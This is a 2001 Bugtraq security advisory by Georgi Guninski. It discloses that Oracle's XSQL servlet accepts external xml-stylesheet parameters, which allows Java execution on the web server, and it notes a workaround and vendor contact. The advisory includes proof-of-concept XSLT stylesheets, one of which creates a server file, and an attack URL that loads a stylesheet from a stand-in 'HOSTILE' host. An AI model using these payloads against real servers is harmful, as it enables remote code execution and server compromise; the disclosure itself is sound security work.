Bugtraq mailing list archives

Oracle XSQL servlet and xml-stylesheet allow executing java on the web server

From: Georgi Guninski <guninski () GUNINSKI COM>
Date: Tue, 9 Jan 2001 17:16:29 +0200
Georgi Guninski security advisory #34, 2001

Oracle XSQL servlet and xml-stylesheet allow executing java on the web server

Systems affected:
Oracle XSQL servlet, installed by default Oracle 8.1.7 Windows 2000installation,
probably other versions/platforms are affected because the servlet is written in java

Risk: High
Date: 9 January 2001

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or program or
any derivatives thereof.


Description:
To get an idea for the XSQL servlet I suggest reading:
http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm
The XSQL servlet allows specifying external xslt stylesheets which may reside anywhere.
The problem is it is possible to execute java on the web server in the xslt stylesheet.
Executing java on the web server may lead to compromising it.

Details:

Oracle allows extensions to the built in xslt functions using the xmlns
"http://www.oracle.com/XSL/Transform/java/";.
Using this namespace it is possible to instantiate java objects and execute their methods.

Sample xslt stylesheets:
--ora.xsl---string function, almost no effect---------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"; 
xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String"; version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by <A HREF="http://www.guninski.com";>Georgi Guninski</A>
<BR>
</BR>
Java demo.
<xsl:variable name="str1" select="jstr:new('java on the server')" />
<xsl:value-of select="jstr:toUpperCase($str1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
------------------------------------------------------------

--ora2.xsl----creates a file -------------------------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"; 
xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File"; version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by <A HREF="http://www.guninski.com";>Georgi Guninski</A>
<BR>
</BR>
File "c:\winnt\georgigjava" created=
<xsl:variable name="r1" select="jstr:new('c:\\winnt\\georgigjava')" />
<xsl:value-of select="jstr:createNewFile($r1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
-----------------------------------------------------------

Assuming that http://XSQL-SERVER/EXISTING.xsql exists and is configured (there are installed
.xsql demos in /xsql/java/demo/), the following URL:
----------------------------------------------------------------------
http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl
----------------------------------------------------------------------
will execute java from http://HOSTILE/ora.xsl (see example stylesheets above) on XSQL-SERVER.

This work on default Oracle 8.1.7 install, I only needed to adjust the database name in
the servlet config file.

Workaround:
Add 'allow-client-style="no"' on the document element of every xsql page.
I think this should be the default behavior.

Vendor status:
Oracle was contacted on 4 January 2001.
They responded very promptly and shall issue a patch "over the next few days".

Regards,
Georgi Guninski
http://www.guninski.com
Current thread:

Oracle XSQL servlet and xml-stylesheet allow executing java on the web server Georgi Guninski (Jan 09)